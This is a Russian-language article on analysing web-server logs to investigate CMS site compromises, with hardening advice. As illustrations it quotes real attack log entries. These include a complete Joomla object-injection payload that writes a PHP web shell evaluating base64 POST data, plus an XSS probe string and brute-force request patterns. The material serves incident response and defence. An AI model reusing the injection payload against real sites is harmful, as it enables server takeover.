Информационная безопасность. Анализ лог-файлов веб-ресурсов как составляющая безопасного администрирования
16 февраля 2017
Рубрика: Обзоры и мнения.
Автор: Б. Шкляревский, Э. Максудов.

В данной статье рассматриваются проблемы администрирования веб-ресурсов, а также методы, способы и рекомендации по анализу лог-файлов веб-ресурсов и защите от взломов и кибератак.

Если сайт взломан, мало удалить с него вирус и загруженный «PHP Shell». Нужно еще найти причину, по которой произошел взлом, иначе через день–два на сайте снова будет под бодрую музыку развиваться красивый иностранный флаг.

Процесс взлома сайтов сейчас поставлен на поток. Бот­неты используют известные эксплойты к распространенным CMS, взламывают сайты, устанавливают на них свои скрипты и дальше могут использовать взломанный сайт в любых целях. Вирусы крадут пароли от FTP, подключаются к сайтам и заражают их вирусами, которые, в свою очередь, заражают посетителей сайтов, после чего круг повторяется. Чаще всего после взлома сайта происходит следующее.

Следует помнить, что хакеры также склонны автоматизировать свои атаки, используя вредоносное ПО, перебирающее один сервер за другим в поисках сервера, где обновление устарело или не было установлено. В связи с этим рекомендуется следить за тем, чтобы обновления устанавливались своевременно и правильно; любой сервер, на котором установлены устаревшие версии обновлений, может подвергнуться атаке.

Также следует вовремя обновлять все программное обеспечение, работающее на веб-сервере. Любое ПО, не относящееся к необходимым компонентам (например, DNS-сервер либо средства удаленного администрирования наподобие VNC или служб удаленных рабочих столов), следует отключить или удалить. Если средства удаленного администрирования все же необходимы, следите за тем, чтобы не использовались пароли по умолчанию или пароли, которые можно легко угадать. Это замечание относится не только к средствам удаленного администрирования, но и к учетным записям пользователей, маршрутизаторам и коммутаторам.

Следующий важный момент — это антивирусное програм­мное обеспечение. Его использование является обязательным требованием для любого веб-ресурса вне зависимости от того, используется в качестве платформы Windows или Unix. В сочетании с гибким межсетевым экраном антивирусное програм­мное обеспечение становится одним из самых эффективных способов защиты от кибератак. Когда веб-сервер становится целью атаки, злоумышленник без промедления старается загрузить инструменты для взлома или вредоносное программное обеспечение, чтобы успеть использовать уязвимость систем безопасности. При отсутствии качественного антивирусного обеспечения уязвимость системы безопасности может долгое время оставаться незамеченной и привести к нежелательным последствиям.

Заражение страниц сайта вирусом. Вирусы могут как просто добавляться в конец каждой страницы сайта, так и быть довольно изощренными. Например, нам встречался вирус, заражавший конкретный класс Joomla, отвечающий за вывод данных в браузер.

Поиск других сайтов в соседних папках и их заражение.

Рассылка спама.

Загрузка «PHP Shell» и выполнение произвольных действий — например, попытка взлома сервера с помощью существующих эксплойтов к операционным системам.

Установка ботов, которые подключаются к серверу IRC и могут выполнять произвольные команды «хозяина» — например, производить DDoS других сайтов.

То есть, действия взломщиков направлены на дальнейшее распространение ботов, создание сети (ботнета) и дальнейшее ее использование в своих целях.

При взломе практически всегда остаются следы: файлы, которые злоумышленник использовал для работы, например, «PHP Shell».

В общем случае, «классический» способ взлома системы управления контентом (CMS) выглядит следующим образом:

1)  Через какую-либо уязвимость злоумышленник загружает «PHP Shell». Наиболее распространенной уязвимостью является получение доступа, используя уязвимость в административной панели управления, и загрузка вредоносных файлов, как «PHP Shell», через менеджер файлов.

2)  Далее, используя возможности «PHP Shell», производятся все остальные неправомерные действия.

При анализе лог-файлов ставятся следующие задачи:

1)  найти следы взлома;

2)  определить точное время взлома;

3)  найти способ эксплуатации уязвимости.

В журнале обращений запросы к веб-серверу регистрируются и разделяются на два типа:

1)  Запросы через метод POST (Создание ресурса):

103.200.30.20 — — [19/Nov/2016:13:02:06 +0500] «POST //tmp.php HTTP/1.0» 200 361 «http://www.______.uz//tmp.php» «

2)  Запросы через метод GET (Получение ресурса):

103.200.30.20 — — [19/Nov/2016:13:02:07 +0500] «GET //tmp.php HTTP/1.0» 200 324 «http://www.______.uz//tmp.php» «

В ходе анализа лог-файлов также следует уделять внимание на результат запроса. «Нормальным» результатом является код «200», который означает, что страница или файл были запрошены и доставлены. Наиболее распространенные ответы:

1)  200 — OK.

2)  301 — Moved Permanently (перемещено навсегда).

3)  304 — Not Modified (не изменилось).

4)  403 — Forbidden (запрещено).

5)  404 — Not Found (не найдено).

Следует отметить, что чаще всего при взломе используются уязвимости, имеющиеся в системах управления контентом (CMS), а также в дополнениях к ним, созданных недоверенными источниками. Во время изучения лог-файлов стоит уделять внимание на то, что чаще всего злоумышленники загружают веб-шеллы, троянские программы и вредоносные скрипты. Поэтому в первую очередь необходимо искать такие файлы, которые очевидно не принадлежат веб-сайту. Как правило, загруженные злоумышленниками скрипты называются довольно необычно и сильно выделяются среди скриптов систем управления контентом. К примеру:

  • wzxp.php;
  • gwd.php;
  • a10881d.php.2046.

Каждый вид атаки фиксируется в лог-файлах и имеет свой свойственный вид. К примеру, успешно произведенная SQL-инъекция в журнале обращений выглядит следующим образом:

62.210.152.87 — — [17/Nov/2016:14:50:33 +0500] «GET / HTTP/1.0» 200 92316»-»»}__test|O:21:\»JDatabaseDriverMysqli\»:3:{s:2:\»fc\»;O:17:\

«JSimplepieFactory\»:0:{}s:21:\»\\0\\0\\0disconnectHandlers\»; a:1: {i:0;a:2:{i:0;O:9:\»SimplePie\»:5:{s:8:\»sanitize\»;O:20:\» JDatabase DriverMysql\»:0:{}s:8:\»feed_url\»;s:239:\»file_put_contents($_SERVER[\» DOCUMENT_ROOT\»].chr(47).\» salest5.php\»,\»|=|\\x3C\». chr(63).\»php\\x24mujj=\\x24_POST[‘php’];if(\\x24mujj!=’’){\\ x24xsser=base64_decode(\\x24_POST[‘z0’]);@eval(\\\»\\\\\\ x24safedg=\\x24xsser;\\\»);}\»); JFactory::getConfig();exit;\»;s:19:\»

cache_name_function\»;s:6:\»assert\»;s:5:\»cache\»;b:1;s:11:\»cache_ class\»;O:20:\»JDatabaseDriverMysql\»:0:{}}i:1;s:4:\»init\»;}}s:13:\» \\0\\0\\0connection\»;b:1;}~\xd9»

А также по следующей частоте запросов можно распознать DoS-атаку:

  1. 116.193.152.181 — — [20/Nov/2016:02:30:02 +0500] «POST //administrator/index.php HTTP/1.0» 200 455 «-» «
  2. 116.193.152.181 — — [20/Nov/2016:02:30:02 +0500] «POST // administrator/index.php HTTP/1.0» 200 1971 «-» «
  3. 116.193.152.181 — — [20/Nov/2016:02:30:02 +0500] «POST // administrator/index.php HTTP/1.0» 200 581 «-» «
  4. 116.193.152.181 — — [20/Nov/2016:02:30:02 +0500] «POST // administrator/index.php HTTP/1.0» 200 746 «-» «
  5. 116.193.152.181 — — [20/Nov/2016:02:30:02 +0500] «POST // administrator/index.php HTTP/1.0» 200 1453 «-» «
  6. 116.193.152.181 — — [20/Nov/2016:02:30:03 +0500] «POST // administrator/index.php HTTP/1.0» 200 324 «-» «
  7. 116.193.152.181 — — [20/Nov/2016:02:30:03 +0500] «POST // administrator/index.php HTTP/1.0» 200 324 «-» «
  8. 116.193.152.181 — — [20/Nov/2016:02:30:03 +0500] «POST // administrator/index.php HTTP/1.0» 200 455 «-» «
  9. 116.193.152.181 — — [20/Nov/2016:02:30:03 +0500] «POST // administrator/index.php HTTP/1.0» 200 1971 «-» «

Как можно заметить, к веб-серверу исходит несколько запросов одновременно с одного и того же IP-адреса.

Эксплуатация уязвимости в протоколе «XMLRPC», которая состоит в осуществлении «Брутфорс»-атаки:

  • 52.37.41.15 — — [23/Mar/2016:21:13:51 +0500] «POST /xmlrpc.php HTTP/1.0» 200 1796 «-» «Opera/9.80 (Windows NT 6.0)»
  • 52.37.41.15 — — [23/Mar/2016:21:20:59 +0500] «POST /xmlrpc.php HTTP/1.0» 200 1796 «-» «Opera/9.80 (Windows NT 6.0)»
  • 52.37.41.15 — — [23/Mar/2016:21:28:20 +0500] «POST /xmlrpc.php HTTP/1.0» 200 1796 «-» «Opera/9.80 (Windows NT 6.0)»
  • 52.37.41.15 — — [23/Mar/2016:21:35:26 +0500] «POST /xmlrpc.php HTTP/1.0» 200 1796 «-» «Opera/9.80 (Windows NT 6.0)»
  • 52.37.41.15 — — [23/Mar/2016:21:42:27 +0500] «POST /xmlrpc.php HTTP/1.0» 200 1796 «-» «Opera/9.80 (Windows NT 6.0)»
  • 52.37.41.15 — — [23/Mar/2016:21:49:34 +0500] «POST /xmlrpc.php HTTP/1.0» 200 2057 «-» «Opera/9.80 (Windows NT 6.0)»
  • 52.37.41.15 — — [23/Mar/2016:21:56:43 +0500] «POST /xmlrpc.php HTTP/1.0» 200 1796 «-» «Opera/9.80 (Windows NT 6.0)»

Также следующий запрос идентифицирует XSS-атаку:

  • 192.168.0.252 — — [05/Aug/2009:15:16:42 -0400] «GET /%27%27;!–%22%3CXSS%3E=&{()} HTTP/1.1” 200 310 «-” «Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.12)Gecko/2009070812 Ubuntu/8.04 (hardy) Firefox/3.0.12»
  • 192.168.0.252 — — [05/Aug/2009:15:17:12 -0400] «GET /%27%27;!–%22%3CXSS%3E=&{()} HTTP/1.1» 200 310 «-” «Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.12)Gecko/2009070812 Ubuntu/8.04 (hardy) Firefox/3.0.12»
  • 192.168.0.252 — — [05/Aug/2009:15:18:09 -0400] «GET /%27%27;!–%22%3CXSS%3E=&{()} HTTP/1.1» 200 310 «-” «Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.12)Gecko/2009070812 Ubuntu/8.04 (hardy) Firefox/3.0.12»

В процессе поиска уязвимостей на сайте, если нет возможности заблокировать к нему доступ посетителей, заблокируйте хотя бы запросы POST. Это предотвратит возможность применения большинства стандартных эксплойтов.

Не используйте устаревшие версии CMS и плагинов к ним. Следите за обновлениями!

После определения причины взлома не ограничивайтесь удалением найденных скриптов — добавленные злоумышленником точки проникновения могут быть хорошо спрятаны. Лучшая схема восстановления сайта после взлома — это закрыть к нему доступ посетителей, найти причину взлома, восстановить сайт из резервной копии (этим исключаются любые изменения сайта, которые мог произвести злоумышленник), обновить CMS, убедившись, что уязвимый компонент также обновился, после чего снова открыть доступ к сайту.

Основными же методами и способами защиты веб-ресурсов остаются:

  1. Регулярное резервное копирование всего содержимого файловой системы, баз данных и журналов событий (лог-файлов).
  2. Регулярное обновление системы управления контентом до последней стабильной версии CMS (системы управления контентом).
  3. Использование сложных паролей. Требования к паролю: пароль должен содержать не менее восьми символов, при создании пароля должны быть использованы символы верх­него и нижнего регистра, а также специальные символы.
  4. Обязательное использование дополнений или плагинов безопасности для предотвращения атак типа XSS-атака или SQL-инъекции.
  5. Использование и установка дополнений (плагинов, шаблонов или расширений) должны осуществляться только с проверенных источников или официальных веб-сайтов разработчиков.
  6. Сканирование файловой системы не менее 1 раза в неделю антивирусными программами и с использованием актуальных сигнатур баз данных.
  7. Предусмотреть использование механизма «CAPTCHA» для защиты веб-сайта от взлома методом перебора паролей при авторизации и ввода данных в любую форму запросов (форма обратной связи, поиск и др.).
  8. Ограничить возможность входа в административную панель управления веб-сайта после определенного количества неудачных попыток.

Список литературы:

  1. Анин Б. Ю. Защита компьютерной информации. — СПб.: «BHV-Санкт-Петербург» — 2000
  2. Бабенко Л. К., Ищукова Е. А. Современные алгоритмы блочного шифрования и методы их анализа. — М.: Гелиос АРВ, 2006.
  3. Галатенко В. А. Информационная безопасность. — М.: Финансы и статистика, 1997.
  4. Герасименко В. А. Защита информации в автоматизированных системах обработки данных кн. 1. — М.: Энергоатомиздат, 1994.


Авторы: Богдан Шкляревский, Эльёр Максудов, Центр обеспечения информационной безопасности

Orphus system
Подписывайтесь на канал infoCOM.UZ в Telegram, чтобы первыми узнавать об ИКТ новостях Узбекистана
В Telegram
В WhatsApp
В Одноклассники
ВКонтакте